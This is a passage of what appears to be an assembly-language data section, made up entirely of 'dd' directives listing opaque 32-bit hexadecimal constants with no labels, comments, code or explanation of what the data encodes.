6449C2C7h, 4BA8B0A4h, 0A468F182h dd 30FCDE1Ch, 0C6625525h, 2ACB0998h, 6C00D079h, 78EBF2DBh dd 0C484B8A9h, 0E093D7Fh, 74186Fh, 0DE26984Ch, 83AE39C0h dd 70E2B79Ch, 10D8C260h, 25443C48h, 0C4ECE5DCh, 6D0065C8h dd 22B347D5h, 90F4641Dh, 0FC30B8E5h, 57008C09h, 6FE5F3Ch dd 51BFDF35h, 0CC7C28B5h, 0F63A3920h, 0F41FCFE9h, 0C19E2101h dd 1085C665h, 0F272EC31h, 3043F204h, 551FD8D2h, 6584066Ch dd 50BC9A67h, 1A8C6804h, 8B9D5h, 87024879h, 1F8C119h, 0EDCD0CD1h dd 88693805h, 24B72A8h, 0EC4A6009h, 0A71F305Ah, 0DF9CB343h dd 306E9607h, 0EE9AFF11h, 14AC9D4h, 9468481Bh, 2CCA1109h dd 8CBABCFCh, 7ECDC700h, 0F051AE2Ah, 2C774C3Bh, 0E4F5D584h dd 0F912A634h, 40A0C25Fh, 18825C9Ch, 0FD21D530h, 7C0AC30Ah dd 2069110Eh, 0B2C08405h, 0EA4FC830h, 0D6E78361h, 0C80719F4h dd 31B80E7Ah, 0DC800F84h, 49CEE05h, 4136594Ch, 254CB991h dd 0ED7849E9h, 4D10B208h, 5C4C77D3h, 0D719850Ch, 2900D881h dd 0A64F5E1Bh, 1DE29FA7h, 85CBEFB8h, 0C2F6ED61h, 5CE7C01Ch dd 3F6045E4h, 0F107708Fh, 4B279C1Ch, 0C5FE75E1h, 4930603Eh dd 84E9D522h, 7990FC18h, 34B67CC4h, 64401BA2h, 0DB80CC3Dh dd 90964A21h, 163C74Ch, 18000AF6h, 0F8715893h, 9599A1h dd 83EF72C4h, 66AA7441h, 4030FA62h, 9947A78h, 0AE956549h dd 74636868h, 98E3C088h, 0A22F43FCh, 0C449314Eh, 0BC0911E2h dd 8A0C7637h, 620878DDh, 8282C41h, 0CC28B9DDh, 68BE82F0h dd 109465Eh, 8D7465B2h, 42E9F5C0h, 0B843FFCDh, 9FCBE15Ah dd 0F200042Ah dd 0A43CD231h, 90F9EA6Ah, 0CE7C6300h, 219D7C8h, 0F3B9B2Ch dd 9AC09A68h, 7B31E6D2h, 0BE41B024h, 8E277100h, 7F25309Ah dd 0C2D42433h, 10C83A56h, 72C7E4CCh, 42BAC0EBh, 110BA502h dd 8E5188F1h, 0E7CFCB04h, 610764F8h, 7B204C46h, 0EE710318h dd 1EEFA08Ah, 0DC3BC05Bh, 721DC823h, 0E4EDB89h, 0E2675E70h dd 973C66ACh, 0B8919C97h, 76295F80h, 70007AF1h, 0B325A03Eh dd 0A1CF7D3Ah, 5AF240DCh, 0EE840F80h, 0CE015C8Dh, 21549121h dd 0BCBC7C20h, 0E443CCh, 0EBE0B998h, 9A189D0h, 0E201C1D6h dd 5E21BC72h, 81E7BD4Ah, 80986AEBh, 0C84E50D8h, 7C093B0Dh dd 0A0709637h, 4827B470h, 0C40A0490h, 90514AC1h, 4FD9034Ch dd 0EC03254h, 0D271910h, 0D05FFF06h, 0EE0158ACh, 67F54D90h dd 0B1A72F19h, 17164E0h, 2065B480h, 4707C8F3h, 0C21B914Ah dd 9A3019F0h, 73402874h, 0B0944C1Ch, 24E2507Eh, 763B2838h dd 97E0208h, 0D3B8790Eh, 4E4498E7h, 59257F60h, 7D47A201h dd 61724283h, 5562870h, 0A1E596ACh, 0E2E0E3AAh, 18853048h dd 131EBD1Fh, 1F25D5DFh, 80BE1174h, 3B7EE5C2h, 0ACCE5373h dd 0C5DC5D08h, 0A83A3616h, 0C51DB823h, 3D1905C3h, 3B5E81EDh dd 0AA754AF8h, 0C3D802FCh, 6E0701BDh, 39798894h, 1AF101D0h dd 2315ECE9h, 30CBA264h, 283F4948h, 0DFBB0280h, 0DA7F16AAh dd 0D4E404A4h, 0D7D685E9h, 0FC3FE060h, 0F417D2B6h, 1C9BF676h dd 1D6AD380h, 0DA010537h, 4FF95410h, 322F4A2Eh, 0F2028FCh dd 59A3755Eh, 0EE00D86Fh, 0EBB6588h, 9A952DC2h, 563C76C8h dd 0C900BB46h, 0AC0C499Dh, 209526EEh, 972DB214h, 16C4B1B9h dd 1700E4E1h, 30D10C4h, 0CC7BD91Eh, 2761D03Ah, 0E8C0B1C0h dd 3E69E3B2h, 1F307972h, 6AB7F419h, 85B0BCABh, 3325EAA4h dd 0E2AC20ECh, 2E259228h, 61486BF7h, 0FC2644E1h, 1D3BC5B9h dd 16EE81B7h, 15116543h, 0DAC502Dh, 0A5E5B000h, 1E5949A6h dd 655F0C3Ch, 0A9F0C44Fh, 5095350Ch, 2D2580DEh, 78452E49h dd 536048E4h, 6616E070h, 1CA4960Fh, 0B2E073Ch, 73D60222h dd 0FDE827BAh, 59040166h, 0E50395C2h, 8020CF00h, 0B5FE3AA8h dd 833B4F00h, 38F244D7h, 4B430001h, 7B0DF146h, 30BE7E27h dd 0D3A4922Dh, 180B7B58h, 0ED4C9404h, 7D6AC050h, 87B72A4Fh dd 919C9658h, 0CD7F46h, 0B3AFB1CAh, 54388B95h, 0C4FAFF01h dd 713B9ED5h, 7AF26982h, 0E45BBB07h, 5CBC2170h, 11223823h dd 0D41648D3h, 0CE10003Ah, 40E9CEE4h, 0F8530A5Ah, 381F00A4h dd 0A9816398h, 0F216575Bh, 1C032007h, 10CF322Ch, 0D66D78h dd 0FA664982h, 91CD47FFh, 0F09614E4h, 0E0BB5680h, 4B051872h dd 16CD276Ah, 5FBE56C0h, 2C27E46h, 820DEA74h, 0CCF2D5h dd 912A4916h, 10AC80F1h, 0B7467418h, 0D9E4AE00h, 2E7E7A6Ah dd 0DEFF9409h, 7A95h, 17D2D27h, 39C1F919h, 1C885E4Fh, 41820749h dd 0B08BC7Ch, 0CC3268Eh, 3DB21F7Bh, 0FF8B68F3h, 0C090924Ch dd 0BC3AE9CCh, 3C35EB6Ch, 2514DE80h, 122CC1CDh, 587705Fh dd 0E754B684h, 0C49B4E48h, 83002D8Fh, 6B4D5DA6h, 0B0C9D4Ch dd 0C532E3EBh, 0A1098B6Ch, 0C564BCE7h, 0ABCE5160h, 29D12B05h dd 0F00BC47Ch, 11DCA469h, 0B88298A3h, 5E12E381h, 4F1ED494h dd 754A4A2h, 468E10DCh, 41D13C04h, 7D2F0BAAh, 64040801h dd 0E0D8EA94h, 0BCB795h, 5133F64h, 0FB063C46h, 61B9BFF9h dd 7AD89BB1h, 508F8A87h, 9C819DEDh, 0E145C8B8h, 4A530F8h dd 9E592773h, 0B140A4D4h, 7D04148Bh, 920BB0F7h, 4CFE44Ch dd 7D551B40h, 40CD48F9h, 532D210h, 4F379A3Ch, 0C0C54012h dd 0CBE82CE8h, 2123008Ch, 7D795340h, 0B4908074h, 4CC5A801h dd 9B194290h, 88E4D9A7h, 5FF7AA00h, 0D5E8092Ah, 4CD8FC0Dh dd 2068541Eh, 49467CE4h, 327C2E7Fh, 0BA900440h, 57E48574h dd 0C050DB18h, 75DC7B6Eh, 0CD4BB6h, 70C171D4h, 0E47DEFB0h dd 0B8A8AA48h, 27008CC7h, 99D4A8C6h, 0BC22C011h, 742826CCh dd 80E4CB21h, 139E79EDh, 1C122941h, 0C893B8Dh, 0CB738400h dd 0B7C02C30h, 0A0D94BBCh, 25026E11h, 0D7411F09h, 0B3A58C60h dd 58B6E8D7h, 22CB24E0h, 0E440964Fh, 0E8AE0447h, 6EDA03C9h dd 54FED331h, 0FA5822h, 0D165E7D6h, 7E730CCDh, 674FA0BCh dd 59606269h, 7D4ED83Dh, 0E6BE0EF0h, 0B1002802h, 820B3183h dd 0A1896300h, 95E7992Eh, 0FFE14045h, 80386248h, 274D5601h dd 59498C1h, 41F13C86h, 6A8F9CDh, 0BF51E9F6h, 74182510h dd 0C6E418E5h, 79A07163h, 8B2C0D2Fh, 0D4037E18h, 1073162Bh dd 13C41970h, 54B55FD9h, 6380007Bh, 4B7FB198h, 0CC99B95Eh dd 9E20C32h, 717CF30h, 7A736C18h, 7BC38E49h, 0F6F22DE6h dd 3ADC8CDEh, 0FFA6880h, 62CE02B8h, 88726345h, 400B2E98h dd 0C4A5840Fh, 0D4B8B4C8h, 6BF1DF00h, 65BFBC34h, 0A99F4027h dd 2AB5873Ch, 9418DCAFh, 8A393B96h, 6A296F5Bh, 0C5F301D2h dd 0C8AEFC33h, 0F505F273h, 21E5D64Eh, 2BD750BCh, 4F2390h dd 1D5CF86Ah, 9F091679h, 0EDAB1E80h, 60BA4484h, 146A699h dd 0CAA2BED7h, 7F2375B5h, 7D223842h, 12E8F2E0h, 0C1312AB1h dd 2CA2996Ch, 8CCFBCE4h, 6079132Fh, 0B93AD5D0h, 0E4971F0Ch dd 0BB467408h, 0DE8DAA00h, 30034F94h, 5834DA00h, 0D5916EA9h dd 964872F4h, 0C93F88D0h, 0BC39293Eh, 48091912h, 657C09BFh dd 60BDE4F0h, 0B5780FAh, 0CE17FB05h, 0BE05CC3h, 8D026398h dd 0DD8D335h, 4398540Ch, 0F900C0ECh, 0B4539203h, 5D699Eh dd 0FC243E6Ch, 90E88674h, 0C8809890h, 0B8D7CEE7h, 0D2B068B7h dd 8C01EB18h, 0C9203A11h, 207D48B0h, 0D3D90FC0h, 0F700F3AAh dd 32EFA435h, 20E4391h, 3F79EBB8h, 541A4712h, 3606DC5Ch dd 0B6AC865h, 0B5D12D1Ch, 0E3C18000h, 0CE483542h, 0CA101238h dd 6E0F20A2h, 65E0ECD2h, 0BFFCDBAEh, 0E8D9B22Eh, 4D042F80h dd 0A21C0668h, 79F8F918h, 5818CCh, 0D1DE2916h, 0D5A40A06h dd 0ECD0F74Fh, 0C0C81AFAh, 6E827CC9h, 0F638D088h, 50E70157h dd 1085F11Fh, 0AC3B307Ch, 884EFF0Ch, 0FD1D3061h, 18C09EC7h dd 0C19DFB7Eh, 0F8B26269h, 80C92328h, 0AC3E3E32h, 8E00D023h dd 0C1F1F5DCh, 9C1697AAh, 40904D95h, 1ABFA782h, 4A69D360h dd 1CEC03DEh, 0CF744994h, 5801636h, 3913F1DBh, 2E10A018h dd 0B993EE2h, 0B94A4C07h, 4090CD8h, 0F8161F7Bh, 779C2450h dd 0CB467464h, 10BF3A00h, 0C9B86ED2h, 0F2DA307h, 0CCC35EF8h dd 5232C297h, 83FB74F8h, 44DE7810h, 0E8409615h, 0D532B405h dd 8168EC3Bh, 4BC96B7Dh, 4ABF3400h, 279D0D7Eh, 6222874h dd 4428C7BEh, 1CF6046h, 0DD24257Bh, 0C7719C59h, 2701BE18h dd 0F5FCE37Dh, 12B1DD1h, 3C6E9230h, 0E2CC20A3h, 0FC0E02F1h dd 2A6A79B8h, 4623403Eh, 0EFE52B00h, 97398E4Eh, 0C291C49Dh dd 0AB500F82h, 65DCB255h, 60CFC458h, 9C96E050h, 873080BCh dd 93EFA053h, 6E9BBB14h, 548217F8h, 922DD0E7h, 3B750480h dd 4912E3C0h, 0CCAD3F83h, 0AA2CBDB8h, 467418DEh, 122F3BD0h dd 8C49DD42h, 9FF04892h, 4FC70916h, 55007E5Ah, 6ECB75DDh dd 95EF1F50h, 84907898h, 4DCD096h, 0CF4B8358h, 0F418870Ah dd 0B9C0044Ah, 89F9CACh, 0E125A6Ah, 83BD34E0h, 9613A90h dd 0ACDBC65Fh, 0DAB7BFC0h, 0BD00EC98h, 5D62967Bh, 0CAD3737Dh dd 0C2448460h, 0F6004932h, 0BFBA11E9h, 44D2AC23h, 0C82FA14Ah dd 5D0A4421h dd 4000B7B0h, 0B9D15341h, 0FA7D79h, 5F7DE2DEh, 753A6BF2h dd 0CA733207h, 104C895Ch, 0FF0B0368h, 9E2F0FCBh, 9300783h dd 2348219Bh, 0E9C401FFh, 0E04F8D7h, 8818805Dh, 76B2ECD8h dd 5E3C0854h, 0F981738Ch, 6FB0C539h, 0D2531180h, 7DDA6041h dd 0F28C2019h, 21804D09h, 4F41CA33h, 6F00938Bh, 0EF4DE13h dd 0B95D65h, 0F5D52855h, 3DDA5802h, 0CFC02164h, 0D8FF0860h dd 11070F23h, 20490061h, 78920CFFh, 949300BEh, 0E37FE26Eh dd 153096FDh, 88DFB08Eh, 1623A22h, 5F80386Fh, 547FD0B0h dd 0F43E4F0Ch, 0C111084Ch, 0B0573421h, 9018DBB3h, 0C619FC61h dd 519F00B5h, 0AA07EF64h, 4530FB21h, 0BCD6686Ah, 50C0393Ch dd 601E70E4h, 23D4B023h, 1911347Fh, 0B05BC000h, 48B6AF1h dd 89FEBE70h, 0FB18F47Fh, 0F0608F41h, 900265F9h, 69060CDh dd 0F10DAFFh, 0A2DC9DF7h, 0FF1E4B07h, 0E3F01298h, 0AC7AEF7h dd 5F0A05DCh, 0B8648ED0h, 8F5C89F8h, 0CE5E39C0h, 177DE11h dd 0DB85C1C4h, 8002B863h, 7DFB7C29h, 58E1A40h, 8189DC23h dd 0C9E022D9h, 11FF0A30h, 88170FCEh, 2247809Fh, 56A2B9FFh dd 26827A01h, 8F45B8FDh, 7CB30230h, 29B07A3h, 0E93CB611h dd 74E01C03h, 3A54A5F0h, 1053D234h, 8C763C2Eh, 0E746F503h dd 0E0B8AD8Ah, 5387D70Ch, 11B2E054h, 0B7CE033h, 0D88A506Eh dd 12A200B5h, 9B0559C5h, 1B0C1BAh, 90E60F1Dh, 513BC831h dd 80D3B891h, 0FD4FF14h, 0D89D48E7h, 400C4DB1h, 0BC741298h dd 58981F2Bh, 6054578h, 0C36067FDh, 5D601890h, 0F2237521h dd 68464824h, 21C020C8h, 437FD6B0h, 59368024h, 1E2528B0h dd 40521261h, 0F71CE282h, 0D13E0CDEh, 0F4F20694h, 30C08B56h dd 0A388D45h, 3849EB0Eh, 79FB014Ch, 0B4CD611h, 45F49840h dd 0C5AA026Dh, 3972A9F7h, 0C4464864h, 5F41D102h, 4631C5DAh dd 41C93210h, 17F19A1Ch, 7F0BC840h, 0EECE5BFh, 0EE955986h dd 47C8740Dh, 3E7B932Ch, 9A003878h, 0C107C9D9h, 336F6CD8h dd 8D08C0B9h, 0D17F3100h, 90FA0C9h, 852924FBh, 0A02C04h dd 0F4D826DAh, 0F0C063FAh, 3387C3F6h, 738E0716h, 4956808Bh dd 18CCE091h, 0D9FF1C15h, 2C9DD20Fh, 0D7D4EA0h, 3A74100h dd 0FCC07ADAh, 0AF6E0906h, 0D89F39D3h, 3B804611h, 43F9A24Bh dd 1711C100h, 83032B5Eh, 646C48A1h, 6FB18735h, 253C02BCh dd 48056164h, 9D1718h, 0C0C2FE56h, 374ECD01h, 86575C3Ah dd 2F60A47Ch, 0B423429h, 629C13A2h, 0D030C748h, 0DA221141h dd 805E88CDh, 3441C831h, 94E28B21h, 0A92849C3h, 42FBE825h dd 0A61307F7h, 59D7E02Ch, 88E401Ah, 0C9D58071h, 87F8C113h dd 0C9CD8300h, 107F5719h, 666B213h, 86759EF2h, 0FB890C78h dd 0FD188B3Dh, 18400548h, 366138F3h, 6EC92472h, 0C7A1110h dd 2143E595h, 0E3BB1307h, 85900170h, 27ACCDh, 9E4FBh, 2884D9C4h dd 58D788C2h, 0E2C82302h, 0D88A8211h, 9C0E019Ah, 84D20941h dd 2944E487h, 606140C5h, 0B0A5E84Ah, 0DB80D291h, 0B5DA2541h dd 1C4C448Ch, 0BE41D300h, 0AE60D272h, 74A81502h, 0DB809C5Bh dd 0E8C115C9h, 7D97448Ch, 3C9D300h, 0D6E62FA4h, 5DD21C93h dd 2EE78067h, 955559B5h, 0E251AD07h, 0AE34DFC5h, 808F0885h dd 35C76488h, 0EFD097F7h, 0F4459E1h, 0EA7D0786h, 6FBB6E1h dd 0A2D43341h, 54C8339Fh, 920B6D13h, 10BD63D9h, 0DE140AA0h dd 61B20E29h, 0ECAE1102h, 0C2DCE0A4h, 0BC97F873h, 17804991h dd 0D4796F29h, 29B60E3Bh, 4D7124E0h, 0CD0CB318h, 0A9905F53h dd 1D4007AEh, 705AA078h, 0C12284FCh, 646C180Bh, 0C70C10BCh dd 3B1304BFh, 845DA7B3h, 769C3A4Ch, 122A008Ch, 0B5F75F2Bh dd 271F5361h, 0C3537437h, 483BA013h, 2B011823h, 1C670887h dd 3D26F220h, 58B0BDC8h, 626812F9h, 0C289900h, 43A3DCBFh dd 83110BE3h, 4820A4DBh, 0FCBE7178h, 645C0540h, 60C8E0E4h dd 10CDFF09h, 0C89E1F0Fh, 214A8062h, 6A640DFFh, 40D1CB00h dd 0BC5FFAE6h, 608A019Fh, 7AF57037h, 7EE8829Ch, 0E04401C3h dd 13D927B4h, 404D0905h, 6706FD10h, 77702EC6h, 4BECC4A0h dd 377928BBh, 32158F30h, 0AF78909Fh, 1100A844h, 819BFBB0h dd 0EEB76521h, 2C58F06Eh, 3F790EB1h, 458C5913h, 2E563260h dd 3D9C2340h, 7CA67785h, 67AC0028h, 0E4C68F4Ch, 61F1D0Bh dd 32455D58h, 0FF6115C4h, 7AAD7AB1h, 3AE1C00h, 8B11DBF9h dd 2E15B510h, 0C7815F01h, 20ECDCE2h, 0F0CD83Bh, 36016388h dd 4DBF0966h, 0E2FFB929h, 22DBDFDFh, 3E05558h, 0BD89D477h dd 7A160E9Dh, 0CBEFC183h, 0CB19C8ECh, 6C0D2B00h, 891857B8h dd 0F5CF919Dh, 3517B83Bh, 0ABC30286h, 67B070E6h, 0DD000A99h dd 0CDA7A149h, 1BE789Eh, 2B55ABFh, 7BD98C66h, 3AACE5EDh dd 3C93EB01h, 74DBD8Bh, 0C1F6B680h, 97840F04h, 81662DC0h dd 0B55128DFh, 0EE80095Ch, 262ACC21h, 0D3711CCEh, 95FF83FAh dd 46583175h, 15AD18B9h, 2DFC5B0Ch, 0B57FC32Bh, 306D8767h dd 51D7031Bh, 20E99ECEh, 1F443D1Ah, 0F0FAF066h, 38086834h dd 23391CB9h, 0AB2FD8h, 0AC598889h, 1CD304Fh, 9D0376B7h dd 89153h, 0D0C45233h, 0BA04096h, 0C08B5F80h, 0D9A94855h dd 0FBB40022h, 6E1F889Fh, 0C3728B25h, 0BC36D849h, 92DA001Ch dd 0C735BEACh, 2A44D185h, 7F5D2F4Fh, 8081B55Dh, 99279492h dd 0D10B754Ah, 55F7B70Fh, 0BB2C6B68h, 736CCE02h, 0F7DDCCE2h dd 0DF3E00F8h, 6556AE54h, 0E6BAF8B5h, 31B6B198h, 56AF0CCh dd 818988D9h, 0BEA5C2E7h, 19BDC8E0h, 9DE42C6Fh, 0C05E18Ch dd 1C029AD0h, 3823850Fh, 4B6EEE5Eh, 0FF980305h, 942D1D85h dd 0F44306B5h, 41290F1Fh, 1325D5F3h, 45762060h, 0B96E1D41h dd 2E4AC54h, 609C52DBh, 0C8908A0Fh, 0BC014E8h, 2D5A2E42h dd 73960095h, 0BE57558Ch, 0CF7679CEh, 5B008878h, 525E9B9Ch dd 6F25B533h, 61058E10h, 4A6BE90h, 0CA8F57B0h, 586A3902h dd 4810BC4Eh, 1896F5FEh, 2F028D0Fh, 1390F38Bh, 89BE94E7h dd 0C0BFC70Ch, 6B618DA2h, 1E33A584h, 0FC2FCFEh, 0BE660012h dd 0DB90CC59h, 2F90144h, 2A84F681h, 39CD6E6Bh, 57891FE0h dd 55BD152Bh, 0CE618D07h, 3552BBDEh, 569913D4h, 0E3E8D7DBh dd 5E6B458Bh, 0D5CDDFC6h, 0B842E06Fh, 0CA9EE5Dh, 0A3DBD33h dd 8F720F62h, 0D3AA2BD7h, 81E08B74h, 0BF0579F9h, 0E9CB3A5h dd 0B399F6EBh, 0D95FE07Dh, 74280AEBh, 28AC4BF1h, 0F39603A4h dd 0FFF7D6E9h, 0BCB6028Dh, 4280E827h, 0DE3FE4CBh, 0BD10C4B0h dd 0D04008EDh, 201B4191h, 6001C169h, 0A2EDBE56h, 0A0306B7Eh dd 9EF1599Dh, 95BF613Bh, 0EB0E1A31h, 0E45DA004h, 2F5D04A0h dd 4285AA83h, 8B8927E7h, 5BFA098h, 10B769C2h, 0FAF38050h dd 42C8908h, 1DE6C24h, 920B3403h, 0A0C99531h, 0F10D8799h dd 56303CB9h, 0AC93AD6Bh, 76610511h, 46AEFB4h, 836E6FA7h dd 5060FE79h, 2302DBE2h, 0D13DB106h, 2C491816h, 0B703378h dd 0E6D71BB9h, 34C600D2h, 456483ECh, 3D7D22D8h, 823FF800h dd 4C5818C5h, 83350BE1h, 4DD505C0h, 458460FFh, 4A5C16B8h dd 9188C0D6h, 60AA2F1Ah, 0D12CF2D6h, 9524295Fh, 908AA019h dd 0D8801850h, 0E3A87EEEh, 8A6014EAh, 9B02E9FAh, 905E6193h dd 58715BDDh, 0AAFC4F40h, 0CE978C4h, 9507BCC9h, 17C49AA9h dd 8218112Fh, 4214428Dh, 0F183827Ah, 0F2020906h, 31000161h dd 921EA98Dh dd 0F29D0964h, 2B0022B1h, 565AA3D7h, 0D3FF4F16h, 0C0B1DAEFh dd 1D76A83Bh, 0C5BD1889h, 29857F15h, 3FBFB1A8h, 72175112h dd 2CE93614h, 5FAD4D3Bh, 25E50AB1h, 0F77C663Fh, 0C18337D0h dd 0E4BE7F0Dh, 0D5C249FDh, 0AFBD0185h, 2CB565E4h, 0D8CD11DDh dd 1703B86h, 1D64CBA7h, 78BB9660h, 0B8182500h, 0B9943CF3h dd 3D9D2A8Bh, 2D5248F8h, 5ECB7F09h, 0C2A0DF8Dh, 70A2D3F7h dd 0DB5C0B29h, 90992228h, 2F7D2072h, 2BBD830Ah, 0DC31AE01h dd 24AF5784h, 129377Fh, 0C5204D80h, 80AA287Eh, 42D5BECCh dd 1DC8000Ch, 0B602745h, 1E115BDh, 757781E9h, 0C71CDDE0h dd 0CE648551h, 0D17BF5h, 2840CE07h, 7E072CF3h, 0C2F4C5Eh dd 0A28680BEh, 4CC9ECFAh, 0F03E03A3h, 2A5D5EAFh, 2FA14CF3h dd 0F2905338h, 997D301Dh, 0BE0BE000h, 3972F59Ah, 5D399002h dd 8D242A69h, 23816004h, 0CFE5FEFFh, 24192410h, 0DB8C660Bh dd 8F90E877h, 635C001Ch, 17CF4B48h, 870BD890h, 0F57E10F6h dd 2C9670C9h, 8C14F81Dh, 1A1B8548h, 51820361h, 0DEEDA689h dd 12396200h, 0DDAD28DAh, 605D1602h, 0F690BF90h, 3F0621h dd 178F5A80h, 1291F050h, 0BFFF2200h, 6997D3F5h, 0BABB15Fh dd 6D7F90CCh, 7745607Ch, 6A00DC23h, 0BE51578Dh, 2459BC39h dd 0A045F68h, 0F69B03E5h, 5EB02538h, 5D86BBFh, 609A84C5h dd 0A0E678C0h, 27469090h, 0C0F61C9h, 0ED7D704Bh, 38936031h dd 8AE2BE72h, 41DB7D01h, 0BE971E4h, 169E4040h, 49740720h dd 0F451086Ah, 3A8F804Ch, 0B6300F6Bh, 0C9CE96D8h, 6BA38D6h dd 15F8874Ch, 7D4A288Ch, 0DEFE1EE3h, 35572F8Bh, 0ABDF8BF0h dd 0AA093B50h, 204E8C1h, 211FED99h, 0E433E2F7h, 12C02D1Dh dd 8950D82Bh, 0BA245B1Ch, 0ED02A36Bh, 60F8981Dh, 80F9CC80h dd 2CE361F0h, 0CE8C4B4h, 5D2AED40h, 1C00CAD8h, 0BB2973C9h dd 258B1495h, 0BBBA5EF2h, 2E64F34Dh, 5079A9C3h, 240F3B79h dd 2913F9B7h, 181CD15Eh, 69DB0071h, 0CCDC2D2Bh, 13905497h dd 16F624B0h, 12613C80h, 0C253830Fh, 0E4AFC82h, 589453F5h dd 220051BBh, 592C64BCh, 0DC8C0FB8h, 2F322421h, 91571D5Fh dd 0B005811Ah, 37C03B95h, 0B5293C0Fh, 8B7F2FA0h, 5B78A393h dd 79A9096Eh, 8701F98Bh, 2537E9EEh, 0B8532D3Eh, 0BDC10013h dd 770932C2h, 8899FC37h, 2380969Dh, 1A6BD9DFh, 847B00E1h dd 0BF7A2980h, 89126288h, 74545F02h, 6BAE5B6Eh, 61D80018h dd 9E772A7Fh, 0F7132F22h, 895790D7h, 58D5448Dh, 23F19AB8h dd 880F0BA7h, 2BE294Eh, 40E8BA5Bh, 9CD18570h, 0C9611617h dd 94A96B71h, 0D3CC7800h, 0D6AF5FA7h, 6071BD05h, 5D8088E0h dd 9008A90Fh, 819970E5h, 46696C5Eh, 2C01F0B1h, 0B0630284h dd 75FE2723h, 0B1C96841h, 1C51D2C7h, 0D9709104h, 38766DABh dd 0B09670E0h, 0E25202DEh, 5937CAF5h, 90B6DD8h, 6C1B45B5h dd 8971444Eh, 2ACD8516h, 281B728h, 3267C4EFh, 166D5B14h dd 9D2BC5E3h, 2EA5AB04h, 62825309h, 37DB5EF1h, 69E2A12h dd 50E6BFC7h, 41E92E8Dh, 5A7BE88h, 8B76A05Ah, 0EEA6BBC0h dd 12430AB0h, 1CD76C3Eh, 3A16888Ah, 0B06F90BEh, 0AB00695Bh dd 959DC1F3h, 3A096B06h, 0AF96117Eh, 4554D757h, 0D5ECC1F0h dd 0B182400Dh, 0CFA03D79h, 0B235D781h, 0B6BEA2ACh, 886AB3C8h dd 16E3BAABh, 8FBECF7Ch, 5A0D22F1h, 89D530F9h, 2C5A3DB5h dd 973ADB74h, 0EB001C23h, 0A63A22AFh, 496C160Ch, 26372952h dd 1C67B1A8h, 50D9AD7Fh, 904BF01Eh, 2D242C08h, 0CC5DBD8Bh dd 419C00D7h, 8E52ADA7h, 6302B50Dh, 847EB233h, 186BEAE5h dd 25F4E4h, 0A429F21Ch, 2EE7EDD2h, 8C04BEF2h, 5E100136h dd 2A0C5182h, 0A7D0867h, 0E98D2902h, 0AFD3DF11h, 166E978h dd 0A0BD7F6Ah, 8281ABE7h, 8509FB9Eh, 299A4B21h, 0D1CAF212h dd 9C91818h, 3D104B1Bh, 0A0C0A7EDh, 5B29AB90h, 0AA16BA85h dd 0B384269Bh, 0C2019B02h, 0DFF63C35h, 290C8550h, 8A14C595h dd 915CBD60h, 0B3CC3193h, 3EB60682h, 0D0BEEFC8h, 0F60BB802h dd 6AB19509h, 8AFF1884h, 0A5AE0526h, 0FABD9460h, 611F21B7h dd 0C323B89h, 5D8E439h, 0AA22EBh, 84916AF8h, 2E1678B6h dd 4B03A40Ah, 0D4767F64h, 7B50C800h, 8BC27545h, 958918C1h dd 0ADBF5955h, 5A60DB38h, 180FF37h, 0D415798Dh, 0DA500DF1h dd 612A4025h, 0F816D294h, 0C2DF9AFBh, 0DD4E1FA8h, 7C7A56F2h dd 8314D00h, 493664DEh, 3892D34h, 808E3C9Ah, 9000A3F5h dd 3E35BE53h, 5F0F7574h, 2740BF50h, 6DE91BC7h, 0FB61C565h dd 0D6F082F6h, 933C98E4h, 8B9A05BBh, 0A2FE6AF1h, 0A45C16F2h dd 7CB19CFFh, 19690900h, 5E08B1FAh, 0D8F0C156h, 7606230Ch dd 805DF000h, 6EB10EC8h, 7EC90327h, 5485618h, 0E6FA5C0Fh dd 7096A02Bh, 75F1D0F5h, 66340A6Fh, 0ADEB638Fh, 6B184509h dd 490053D5h, 0AB18C8Fh, 0A587B65h, 24734ED9h, 68908CCh dd 0F24C520h, 60463F83h, 6F36250h, 0DF061FEh, 754AFD98h dd 0F56A4F0Bh, 6BC0FECDh, 1164671h, 0BFE9AA58h, 8ED5C54Dh dd 118D0F4Fh, 1206355Ah, 8DC35664h, 0B8C82905h, 0D6720180h dd 37A6E1Ah, 33EC6FBDh, 53D3FF0Ch, 5B65EF6h, 73EE961h dd 0E2B1FD68h, 0B839090Ch, 7A010DA8h, 3C8B8F9Eh, 0A4E9A54Ch dd 0D7F3EB68h, 8BFC3B04h, 0ADD5C19Dh, 0A70BE26Fh, 8302C98Ch dd 0E6091C31h, 8D090DE5h, 3D18186Dh, 805C22CFh, 3F83F9C1h dd 235A2ABDh, 1E4E2ECCh, 2200276Fh, 0D7BE9B6Fh, 7C3D358Ah dd 7F21EBE9h, 88B090C4h, 0A3CC76D3h, 318A4B0Fh, 10AAD01h dd 114132E9h, 1E49F6B7h, 64F8923Dh, 0BB6291Fh, 37B57980h dd 0A68DCEAAh, 34F55AC9h, 9F87F18Dh, 92E02D9Ah, 3C0F41E1h dd 65448D80h, 0ACC3FD7Bh, 2D2525E7h, 82DCC51Bh, 5220128Bh dd 130EDEh, 4FCA3D83h, 9438156Eh, 71E4B502h, 415F1169h dd 0FEA85EB0h, 0A7E915F4h, 0E4ECE903h, 48611826h, 6D25B01Ch dd 8BCBC0D6h, 0E62F0348h, 0C135F570h, 0C411CC81h, 0E8AE9A49h dd 1E00DC51h, 6632E193h, 75C5692Dh, 0DEBE137Dh, 8828CFEDh dd 0EC51C015h, 7CBFB523h, 221127B3h, 697A2056h, 5E0740h dd 0CE81C38Bh, 6E95EA97h, 5D2FE29Ch, 0E78122B5h, 0C19531BCh dd 143DD1CEh, 87003EE9h, 0D82E70A9h, 2B74F9C5h, 16DC3FB4h dd 8564E5D2h, 3183A03Dh, 6812A55Ah, 0EC331A8Ch, 8D0F61C9h dd 0C60AEF81h, 385A38D3h, 262BF0FCh, 4E6385Ah, 0A51C21B5h dd 4EA87FFBh, 59B7B02Fh, 8201BC93h, 199D89F7h, 0A351A7A8h dd 27C47631h, 8E90EEE3h, 373C1B55h, 0C4701C0h, 8BC87A5Fh dd 0EFF530E4h, 0F0265369h, 214DA569h, 0A7FBC0CFh, 42E92C37h dd 0C1330008h, 0C868EDDh, 1A57924Ch, 0B7F58D29h, 7B9E660h dd 16B74093h, 40A30ED5h, 226A4Ah, 55F17664h, 126BBF5Ah dd 5251E67Bh, 716F5Dh, 2B565F98h, 91114DB5h, 53BF835Eh dd 0E4BF1D01h, 0C0179BD8h, 716508FEh, 0AC584838h, 18C1AE8h dd 0FD432BD7h, 0D8A03BF5h, 2F5A85BDh, 96083E37h, 7F3389F5h dd 92AC6FE9h, 5DBBC19Fh, 0EC7F1D35h, 